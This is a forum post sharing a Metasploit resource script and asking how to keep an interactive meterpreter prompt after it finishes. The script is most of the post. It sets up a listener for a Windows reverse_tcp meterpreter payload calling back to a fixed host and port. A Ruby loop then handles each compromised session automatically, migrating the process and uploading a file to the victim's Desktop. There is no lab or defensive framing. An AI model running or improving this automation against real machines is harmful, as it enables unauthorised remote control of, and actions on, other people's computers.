Hey everyone, I have a .rc file with some code in ruby to automate a meterpreter session whenever the someone connects, it goes something like this (the original code is not mine, I just found it on the web and changed it a bit):
Code:
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 4444
set LHOST 192.168.1.1
set ExitOnSession false
exploit -j
<ruby>
sleep(1)
print_status("Waiting on an incoming sessions...")
while (true)
framework.sessions.each_pair do |sid,s|
thost = s.tunnel_peer.split(":")[0]
if s.ext.aliases['stdapi']
sleep(2)
print_status("Uploading files to session #{sid} #{thost}...")
s.console.run_single("run migrate'")
s.console.run_single("upload /root/hellothere.txt 'C:\\\\Users\\\\Me\\\\Desktop'")
else
print_status("Session #{sid} #{thost} active, but not yet configured")
sleep(15)
end
end
sleep(4)
end
print_status("All done")
</ruby>
This is all ok, but unfortunately after the last command is executed I can't seem to be able to write anything. Is there a way to get a normal meterpreter command line after the code is executed?
Thanks!